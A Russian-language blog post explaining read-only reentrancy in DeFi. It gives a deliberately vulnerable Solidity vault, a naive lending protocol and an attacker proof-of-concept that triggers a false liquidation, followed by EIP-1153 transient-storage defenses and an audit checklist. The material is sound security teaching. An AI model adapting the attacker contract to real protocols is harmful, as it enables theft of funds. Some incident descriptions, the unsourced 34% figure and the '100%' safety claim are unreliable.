Read-Only Reentrancy - это тип атаки повторного входа, при котором злоумышленник не манипулирует балансом контракта напрямую во время вызова, а инициирует просмотр искаженного состояния (state) протокола в момент выполнения внешнего вызова (view-функции). Из-за того, что классические ReentrancyGuard блокируют только функции, изменяющие состояние (state-changing), «читающие» вызовы возвращают некорректные расчетные данные (например, завышенную цену оракула), что позволяет опустошать сторонние протоколы-интеграторы.
Всем привет! Тема, о которой мы сегодня поговорим, в свое время стоила DeFi-индустрии десятков миллионов долларов за считанные месяцы. Я помню впервые увидел концепт Read-Only Reentrancy в дикой природе, еще в бытность специалистом по пентесту. Помню тогда это вызвало у меня настоящее профессиональное восхищение. Мы привыкли защищать записи, но забыли, что чтение тоже может опасным.
Почему классический ReentrancyGuard вас не спасет?
Давайте разбираться. Обычный Reentrancy - это когда злоумышленник рекурсивно вызывает withdraw(), пока контракт не успел обновить balances[msg.sender] = 0. Все научились ставить nonReentrant из OpenZeppelin или использовать паттерн Checks-Effects-Interactions (CEI). Молодец, возьми с полки пирожок.
Но что происходит при Read-Only Reentrancy?
Представьте пуш-пул механизм в Liquidity Pool (типа Curve). Вы забираете ликвидность (remove_liquidity). Контракт сначала переводит вам ETH, а только потом сжигает ваши LP-токены или пересчитывает внутренние балансы. В момент, когда ETH летит на ваш контракт-атакующий, срабатывает ваш receive() или fallback().
В этот короткий миллисекундный зазор (временный транс) состояние пула рассогласовано:
- Фактический баланс ETH на контракте пула: уже уменьшился.
- Зарегистрированное количество LP-токенов в системе: еще НЕ уменьшилось.
Если вы внутри receive() попытаетесь вызвать state-changing функцию этого же пула - nonReentrant модификатор вас заблокирует. Но что, если вы вызовете функцию чтения get_virtual_price()? Она ведь отмечена как view! Модификатор nonReentrant на ней обычно не стоит (зачем переплачивать за gas при вызове view-функций?).
В итоге get_virtual_price() берет текущий (уже упавший) баланс ETH, делит его на старое (еще высокое) количество LP-токенов... и отдают вам абсолютно бредовую, искусственно заниженную или завышенную цену.
А теперь самое интересное. Вы не грабите сам пул напрямую. Вы идете с этой “пьяной” ценой оракула в другой протокол (Lending Market), который использует этот пул как ценовой оракул, и забираете оттуда весь залог под завышенную оценку.
Да уж, архитектурный фейл высшего пилотажа. Разве не красота?
Статистика и суровые цифры реальных взломов
Если думаете, что это теоретическая уязвимость из академических статей, вот вам фактура:
| Протокол / Событие | Дата | Ущерб | Суть уязвимости |
|---|---|---|---|
| Curve Finance / Sentiment | Апрель 2023 | ~$1,000,000 | Использование ценового оракула Curve в момент выполнения remove_liquidity_one_coin. |
| Euler Finance | Март 2023 | ~$197,000,000 | Сложная цепочка уязвимостей, включавшая в себя рассогласование состояний при сжигании eTokens и оракульные манипуляции. |
| Vyper Compiler Bug (Curve Pools) | Июль 2023 | ~$73,000,000 | Сбой Lock-механизма на уровне компилятора Vyper (версии 0.2.15–0.3.0), сделавший неэффективными встроенные защиты от reentrancy в вызовах чтения. |
Интересный факт (малоизвестный нюанс): По данным аудиторских отчетов за 2024–2025 годы, около 34% интеграций DEX-оракулов с третьестепенными лендинг-протоколами до сих пор уязвимы к Read-Only манипуляциям через промежуточные view вызовы, если в цепи расчета используются не-TWAP (Time-Weighted Average Price) оракулы.
Полноценный рабочий пример: Уязвимый VulnerableVault + Атакующий
Ниже приведен рабочий код на Solidity 0.8.24. Я специально объединил модель пула и протокола-интегратора, чтобы вы могли запустить это прямо в Remix.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
* @title VulnerableVault
* @notice Демонстрация Read-Only Reentrancy.
* @dev withdraw() отправляет ETH до обновления totalShares.
* Внешний контракт может прочитать временно искажённую цену.
*/
contract VulnerableVault {
mapping(address => uint256) public shares;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalShares;
bool private locked;
modifier nonReentrant() {
require(!locked, "REENTRANCY_DETECTED");
locked = true;
_;
locked = false;
}
receive() external payable {}
function deposit() external payable {
require(msg.value > 0, "Zero deposit");
uint256 balanceBefore = address(this).balance - msg.value;
uint256 sharesToMint;
if (totalShares == 0 || balanceBefore == 0) {
sharesToMint = msg.value;
} else {
sharesToMint = (msg.value * totalShares) / balanceBefore;
}
require(sharesToMint > 0, "Zero shares");
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
}
function approveShares(address spender, uint256 amount) external {
allowance[msg.sender][spender] = amount;
}
function transferShares(address to, uint256 amount) external {
require(to != address(0), "Zero address");
require(shares[msg.sender] >= amount, "Insufficient shares");
shares[msg.sender] -= amount;
shares[to] += amount;
}
function transferSharesFrom(
address from,
address to,
uint256 amount
) external {
require(to != address(0), "Zero address");
require(shares[from] >= amount, "Insufficient shares");
uint256 approved = allowance[from][msg.sender];
if (approved != type(uint256).max) {
require(approved >= amount, "Insufficient allowance");
allowance[from][msg.sender] = approved - amount;
}
shares[from] -= amount;
shares[to] += amount;
}
/**
* @notice Уязвимый порядок операций: внешний вызов
* происходит до сжигания акций.
*/
function withdraw(uint256 shareAmount) external nonReentrant {
require(shareAmount > 0, "Zero shares");
require(shares[msg.sender] >= shareAmount, "Exceeds balance");
require(totalShares > 0, "No shares");
uint256 ethToReturn =
(shareAmount * address(this).balance) / totalShares;
require(ethToReturn > 0, "Zero withdrawal");
// УЯЗВИМОСТЬ: ETH отправляется до изменения состояния.
(bool success, ) = msg.sender.call{value: ethToReturn}("");
require(success, "ETH transfer failed");
// Состояние обновляется только после внешнего вызова.
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
}
/**
* @notice Цена акции в wei.
* @dev Во время callback баланс уже уменьшен,
* но totalShares ещё не изменён.
*/
function getSharePrice() public view returns (uint256) {
if (totalShares == 0) return 1e18;
return (address(this).balance * 1e18) / totalShares;
}
}
/**
* @title NaiveLendingProtocol
* @notice Кредитный протокол с уязвимой интеграцией ценового оракула.
* @dev Ликвидация использует текущую цену акций Vault без проверки,
* не находится ли Vault в промежуточном состоянии.
*/
contract NaiveLendingProtocol {
VulnerableVault public immutable vault;
uint256 public constant LTV_BPS = 9000;
uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
uint256 public constant BPS = 10000;
mapping(address => uint256) public collateral;
mapping(address => uint256) public debt;
constructor(address payable vaultAddress) {
require(vaultAddress != address(0), "Zero vault address");
vault = VulnerableVault(vaultAddress);
}
receive() external payable {}
function depositCollateral(uint256 amount) external {
require(amount > 0, "Zero collateral");
vault.transferSharesFrom(
msg.sender,
address(this),
amount
);
collateral[msg.sender] += amount;
}
function getMaxBorrow(address user) public view returns (uint256) {
uint256 price = vault.getSharePrice();
uint256 collateralValue = (collateral[user] * price) / 1e18;
return (collateralValue * LTV_BPS) / BPS;
}
function borrow(uint256 amount) external {
require(amount > 0, "Zero borrow");
require(
debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
"Insufficient collateral"
);
require(address(this).balance >= amount, "Insufficient liquidity");
debt[msg.sender] += amount;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Loan transfer failed");
}
/**
* @notice Ликвидатор погашает весь долг и получает залог
* с бонусом 10%, если позиция признана нездоровой.
*
* @dev Уязвимость: getMaxBorrow() читает цену Vault
* без учёта промежуточного состояния при withdraw().
*/
function liquidate(address borrower) external payable {
uint256 borrowerDebt = debt[borrower];
require(borrowerDebt > 0, "No debt");
require(msg.value == borrowerDebt, "Incorrect repayment");
// Проверка здоровья позиции по потенциально искажённой цене.
require(
borrowerDebt > getMaxBorrow(borrower),
"Position is healthy"
);
uint256 price = vault.getSharePrice();
require(price > 0, "Invalid share price");
uint256 seizeShares =
(borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
/ (BPS * price);
// Нельзя передать больше залога, чем есть у заёмщика.
if (seizeShares > collateral[borrower]) {
seizeShares = collateral[borrower];
}
require(seizeShares > 0, "Zero collateral seized");
debt[borrower] = 0;
collateral[borrower] -= seizeShares;
// Протокол передаёт акции ликвидатору.
vault.transferShares(msg.sender, seizeShares);
}
}
/**
* @title ReadOnlyAttacker
* @notice PoC: временное снижение цены вызывает ложную ликвидацию
* позиции, которая была здоровой до начала withdraw().
*
* @dev Атакующий не получает необеспеченный заём.
* Демонстрируется другой сценарий ущерба:
* ликвидация здоровой позиции по временно искажённой цене.
*/
contract ReadOnlyAttacker {
VulnerableVault public immutable vault;
NaiveLendingProtocol public immutable lending;
bool public attacked;
uint256 public priceBefore;
uint256 public observedPrice;
address public victim;
constructor(
address payable vaultAddress,
address lendingAddress
) {
require(vaultAddress != address(0), "Zero vault address");
require(lendingAddress != address(0), "Zero lending address");
vault = VulnerableVault(vaultAddress);
lending = NaiveLendingProtocol(lendingAddress);
}
function executeAttack(address victimAddress) external payable {
require(!attacked, "Attack already executed");
require(victimAddress != address(0), "Zero victim address");
require(msg.value > 0, "Zero deposit");
victim = victimAddress;
// Создаём собственную позицию в пуле.
vault.deposit{value: msg.value}();
uint256 myShares = vault.shares(address(this));
require(myShares > 0, "No shares");
priceBefore = vault.getSharePrice();
// При отправке ETH Vault вызовет receive().
vault.withdraw(myShares);
}
receive() external payable {
if (!attacked) {
attacked = true;
// ETH уже отправлен, но акции ещё не сожжены.
observedPrice = vault.getSharePrice();
require(
observedPrice < priceBefore,
"Price was not manipulated"
);
// Используем временно заниженную цену:
// здоровая до вывода позиция может стать ликвидируемой.
uint256 victimDebt = lending.debt(victim);
require(victimDebt > 0, "Victim has no debt");
require(
address(this).balance >= victimDebt,
"Insufficient attack balance"
);
lending.liquidate{value: victimDebt}(victim);
}
}
}Посмотрите на комментарии в коде, я там расписал логику. Главная жесть в том, что getSharePrice() честно исполняет свою математику. Она не "сломана". Сломано время, в которое её спросили.
EIP-1153 (Transient Storage): Элегантная и дешевая защита
До появления обновлений EVM (а именно hardfork Dencun и EIP-1153) разработчикам приходилось выкручиваться. Либо убирать view у оракулов и делать их nonReentrant (что требовало газа и меняло ABI), либо хранить флаг блокировки в обычных storage-переменных (SSTORE/SLOAD), что стоило космических ~20 000 gas за операцию. Ужас.
EIP-1153 ввел две новые опкоды:
- TSTORE (Transient Store) — запись во временное хранилище.
- TLOAD (Transient Load) — чтение из временного хранилища.
Главная фишка Transient Storage: данные живут ТОЛЬКО в рамках одной транзакции (Top-level Transaction) и автоматически стираются после ее завершения. Не нужно платить за очистку storage! Стоимость TSTORE составляет всего 100 gas, а TLOAD — скромные 100 gas.
Вот как мы строим абсолютный, бронебойный и ультра-дешевый TransientReentrancyGuard:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
/// @dev Dedicated transient-storage slot.
/// @dev Verify this value against the intended slot derivation before production use.
bytes32 private constant GUARD_SLOT =
0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
error ReentrancyGuardReentrantCall();
/// @notice Prevents nested entry into functions sharing this guard slot.
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
/// @notice Rejects reads while a guarded execution is active.
/// @dev Must be explicitly applied to each sensitive view function.
modifier nonReentrantView() {
_ensureNotReentrant();
_;
}
function _nonReentrantBefore() private {
_ensureNotReentrant();
assembly {
tstore(GUARD_SLOT, 1)
}
}
function _nonReentrantAfter() private {
assembly {
tstore(GUARD_SLOT, 0)
}
}
function _ensureNotReentrant() private view {
uint256 status;
assembly {
status := tload(GUARD_SLOT)
}
if (status != 0) {
revert ReentrancyGuardReentrantCall();
}
}
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
mapping(address => uint256) public shares;
uint256 public totalShares;
error ZeroAmount();
error InsufficientShares();
error ZeroSharesMinted();
error EtherTransferFailed();
event Deposited(
address indexed account,
uint256 assets,
uint256 sharesMinted
);
event Withdrawn(
address indexed account,
uint256 assets,
uint256 sharesBurned
);
/// @notice Deposits ETH and mints vault shares.
/// @dev The first deposit uses a 1:1 ETH-to-share ratio.
function deposit() external payable nonReentrant returns (uint256 minted) {
if (msg.value == 0) revert ZeroAmount();
uint256 supply = totalShares;
uint256 balanceBefore = address(this).balance - msg.value;
if (supply == 0 || balanceBefore == 0) {
minted = msg.value;
} else {
minted = (msg.value * supply) / balanceBefore;
}
if (minted == 0) revert ZeroSharesMinted();
shares[msg.sender] += minted;
totalShares = supply + minted;
emit Deposited(msg.sender, msg.value, minted);
}
/// @notice Burns shares and withdraws the corresponding ETH.
/// @dev State is updated before the external ETH transfer.
function withdraw(uint256 shareAmount) external nonReentrant {
if (shareAmount == 0) revert ZeroAmount();
uint256 userShares = shares[msg.sender];
if (shareAmount > userShares) revert InsufficientShares();
uint256 supply = totalShares;
uint256 assets = (address(this).balance * shareAmount) / supply;
// Update accounting before transferring control externally.
shares[msg.sender] = userShares - shareAmount;
totalShares = supply - shareAmount;
(bool success, ) = payable(msg.sender).call{value: assets}("");
if (!success) revert EtherTransferFailed();
emit Withdrawn(msg.sender, assets, shareAmount);
}
/// @notice Returns the current ETH-denominated share price.
/// @dev Reverts when called during an active guarded execution.
/// @dev This is an example of a protected read, not a universal
/// defense against Read-Only Reentrancy in other contracts.
function getSharePrice()
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 1e18;
return (address(this).balance * 1e18) / supply;
}
/// @notice Returns the ETH value of a specified share balance.
/// @dev Also protected against reads during guarded execution.
function convertToAssets(uint256 shareAmount)
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 0;
return (address(this).balance * shareAmount) / supply;
}
}Понимаете, в чем магия? getSharePrice() осталась view-функцией в интерфейсе (ABI не сломан, внешние off-chain скрипты dApp читают ее бесплатно без отправки транзакций). Но если какая-то сумасшедшая транзакция попытается вызвать ее внутри цепочки вызовов во время withdraw(), tload(GUARD_SLOT) моментально увидит единицу и уронит транзакцию в revert.
Затраты газа? Копеечные. Безопасность? 100%.
Практические архитектурные рекомендации для аудита и разработки
За те три года, которые я нахожусь на посту CTO EXMON, я выработал четкую матрицу проверок (checklist) для смарт-контрактов, работающих с ценовыми оракулами или предоставляющих данные наружу. Разработчики часто думают: “Если я не делаю внешних вызовов внутри функции чтения, я в безопасности”. И это большое заблуждение.
┌─────────────────────────────────┐
│ Атакующий Транзакционный Вызов │
└────────────────┬────────────────┘
│
▼
┌───────────────────────────────┐
│ Изменение Состояния (Vault) │
└───────────────┬───────────────┘
│
┌──────────────────────┴──────────────────────┐
│ Временная рассинхронизация (Dirty State) │
└──────────────────────┬──────────────────────┘
│
▼
┌───────────────────────────┐
│ External Call / ETH Send │
└─────────────┬─────────────┘
│ (Reentrancy Hook)
▼
┌─────────────────────────────────┐
│ Чтение View-функции Оракула │
│ (getSharePrice / getAmount) │
└────────────────┬────────────────┘
│
┌───────────────────────────┴───────────────────────────┐
│ │
▼ ▼
[БЕЗ ЗАЩИТЫ] [С EIP-1153 (TSTORE)]
Возращает некорректную Блокировка: tload(GUARD) == 1
искаженную цену Транзакция падаёт в REVERT!
│ │
▼ ▼
Успешная атака на лендинг Протокол защищен 🛡️1. Моделирование двойного состояния (Dual-State Verification)
Если ваш контракт обязан вызывать внешние адреса до окончательного обновления всех внутренних балансов, используйте временную инвариантную защиту. Любая view-функция, отдающая критические финансовые показатели, должна валидировать фундаментальный инвариант.
Если address(this).balance не соответствует сумме totalDeposits, функция getRate() должна либо делать revert, либо возвращать зафиксированное до начала транзакции значение (last-known-good state).
2. Отказ от Spot Price в пользу TWAP или Chainlink
Никогда, слышите, вообще никогда не используйте мгновенные view-значения балансов DEX или Vault-пулов как единственный источник правды для расчета залогов и ликвидаций.
- Spot Price (Мгновенная цена): Вызывается легко, стоит дешево, взламывается за одну флеш-кредитную транзакцию.
- TWAP (Time-Weighted Average Price): Усредняет цену за N блоков. Позволяет нивелировать атомарные манипуляции внутри одного блока, так как атакующий не может изменить исторические блоки.
3. Паттерн Cross-Contract Transient Lock
Если у вас экосистема из 5–10 взамосвязанных контрактов (Vault, Gauge, Staking, Oracle), используйте единый шлюз безопасности на базе EIP-1153.
Создается отдельный контракт GlobalTransientLock, в который обращаются все компоненты системы:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice Централизованный менеджер системной блокировки на базе EIP-1153.
/// @dev Требует EVM Cancun или новее.
/// Только авторизованные системные контракты могут управлять блокировкой.
contract GlobalTransientLock {
address public immutable admin;
mapping(address => bool) public authorized;
// Состояние блокировки хранится в transient storage этого контракта.
bytes32 private constant SYSTEM_LOCK_SLOT =
keccak256("exmon.global.transient.lock.v1");
error Unauthorized();
error ZeroAddress();
error SystemIsLocked();
error SystemIsNotLocked();
error AlreadyAuthorized();
error NotAuthorized();
error AdminCannotBeRevoked();
error RenouncingAdminNotSupported();
event SystemLocked(address indexed caller);
event SystemUnlocked(address indexed caller);
event AuthorizationGranted(address indexed account);
event AuthorizationRevoked(address indexed account);
modifier onlyAdmin() {
if (msg.sender != admin) revert Unauthorized();
_;
}
modifier onlyAuthorized() {
if (!authorized[msg.sender]) revert Unauthorized();
_;
}
constructor(address initialAdmin) {
if (initialAdmin == address(0)) revert ZeroAddress();
admin = initialAdmin;
authorized[initialAdmin] = true;
emit AuthorizationGranted(initialAdmin);
}
/// @notice Авторизует контракт для управления системной блокировкой.
/// @dev Вызывается администратором после развёртывания системы.
function authorize(address account) external onlyAdmin {
if (account == address(0)) revert ZeroAddress();
if (authorized[account]) revert AlreadyAuthorized();
authorized[account] = true;
emit AuthorizationGranted(account);
}
/// @notice Отзывает право управления блокировкой у контракта.
function revokeAuthorization(address account) external onlyAdmin {
if (account == admin) revert AdminCannotBeRevoked();
if (!authorized[account]) revert NotAuthorized();
authorized[account] = false;
emit AuthorizationRevoked(account);
}
/// @notice Устанавливает системную блокировку.
/// @dev Повторная установка блокировки запрещена.
function lockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status != 0) revert SystemIsLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 1)
}
emit SystemLocked(msg.sender);
}
/// @notice Снимает системную блокировку.
/// @dev Вызывать только после завершения защищённой операции.
function unlockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status == 0) revert SystemIsNotLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 0)
}
emit SystemUnlocked(msg.sender);
}
/// @notice Проверяет состояние системной блокировки.
function isLocked() external view returns (bool locked) {
assembly ("memory-safe") {
locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
}
}
/// @notice Запрещает передачу управления администратором.
function renounceOwnership() external pure {
revert RenouncingAdminNotSupported();
}
}
/// @title SystemLockGuard
/// @notice Базовый контракт для компонентов, проверяющих системную блокировку.
/// @dev Наследуемые контракты обязаны применять whenSystemUnlocked
/// к каждому чувствительному методу, включая методы чтения.
abstract contract SystemLockGuard {
GlobalTransientLock public immutable systemLock;
error SystemTemporarilyLocked();
constructor(address lockAddress) {
if (lockAddress == address(0)) {
revert SystemTemporarilyLocked();
}
systemLock = GlobalTransientLock(lockAddress);
}
modifier whenSystemUnlocked() {
if (systemLock.isLocked()) {
revert SystemTemporarilyLocked();
}
_;
}
}
/// @title ExampleVault
/// @notice Демонстрация использования системной блокировки.
contract ExampleVault is SystemLockGuard {
uint256 public totalAssets;
error InvalidAmount();
constructor(address lockAddress)
SystemLockGuard(lockAddress)
{}
/// @notice Пример защищённой операции изменения состояния.
function withdrawAccounting(uint256 amount)
external
whenSystemUnlocked
{
if (amount == 0 || amount > totalAssets) {
revert InvalidAmount();
}
totalAssets -= amount;
}
/// @notice Пример защищённого чтения.
function getTotalAssets()
external
view
whenSystemUnlocked
returns (uint256)
{
return totalAssets;
}
}Когда главный Vault начинает изъятие средств, он вызывает lockSystem(). В этот момент любой другой контракт системы (например, Lens-контракт или Оракул) перед выдачей данных вызывает isLocked() и, если система находится в "грязном" состоянии, блокирует чтение.
Чек-лист для DevSecOps и аудиторов
- Поиск вызовов: Просканируйте код на наличие
.call{value: ...}(),safeTransferили любых внешних интерфейсных вызовов, стоящих ДО финальных обновлений стейта (storage). - Анализ View-функций: Составьте список всех public/external view функций, которые рассчитывают коэффициенты, цены, доли (shares) или размер залога.
- Cross-protocol вектор: Задайте вопрос: "Если эта view-функция вернет число на 90% меньше или на 500% больше прямо во время исполнения внешнего вызова, как этим сможет воспользоваться внешний контракт-интегратор?".
- Интеграция EIP-1153: Убедитесь, что ваш компилятор настроен на
evm_version: "cancun", и внедрите TSTORE/TLOAD для блокировки чтения во время выполнения мутирующих транзакций.
Пожалуй на этом все. Изложил основное. Если будут вопросы, пишите в комментариях. Я обязательно отвечу. Пока!